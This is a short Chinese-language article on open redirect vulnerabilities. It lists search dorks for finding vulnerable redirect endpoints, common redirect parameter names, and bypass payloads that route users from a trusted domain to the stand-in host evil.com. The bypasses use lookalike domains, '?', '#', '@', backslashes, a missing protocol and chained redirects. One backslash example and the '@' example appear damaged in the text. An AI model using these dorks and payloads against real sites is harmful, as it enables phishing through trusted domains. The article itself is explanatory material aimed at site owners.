URL 跳转漏洞是指后台服务器在告知浏览器跳转时,未对客户端传入的重定向地址进行合法性校验,导致用户浏览器跳转到钓鱼页面的一种漏洞。下面就是一些常见的url跳转漏洞以及绕过方法,各位站长可以根据这些制定响应策略。
inurl:go.php?q=http://
inurl:goto.php?q=http://
inurl:jump.php?url=http://
inurl:out.php?url=http://
inurl:redirect.php?q=http://
inurl:redirect.php?link=http://
redirect
redirect_to
redirect_url
url
jump
jump_to
target
to
link
linkto
domain

对于上述的字符串检测操作,均可以用欺骗手法绕过判断。简单可用的payload如下所示:

http://www.aaa.com?returnUrl=http://www.aaa.com.evil.com

http://www.aaa.com?returnUrl=http://www.evil.com/www.aaa.com

http://www.aaa.com?returnUrl=http://www.xxxaaa.com

若再配合URL的各种特性符号,绕过姿势可是多种多样。比如

利用问号?:

http://www.aaa.com?returnUrl=http://www.evil.com?www.aaa.com

利用反斜线:

http://www.aaa.com?returnUrl=http://www.evil.comwww.aaa.com

http://www.aaa.com?returnUrl=http://www.evil.com\www.aaa.com

利用@符号:

http://www.aaa.com?returnUrl=http://[email protected]

利用井号#:

http://www.aaa.com?returnUrl=http://www.evil.com#www.aaa.com

http://www.aaa.com?returnUrl=http://www.evil.com#www.aaa.com?www.aaa.com

缺失协议:

http://www.aaa.com?returnUrl=/www.evil.com

http://www.aaa.com?returnUrl=//www.evil.com

多次跳转,即aaa公司信任ccc公司,ccc公司同样存在漏洞或者提供跳转服务:

http://www.aaa.com?returnUrl=http://www.ccc.com?jumpto=http://www.evil.com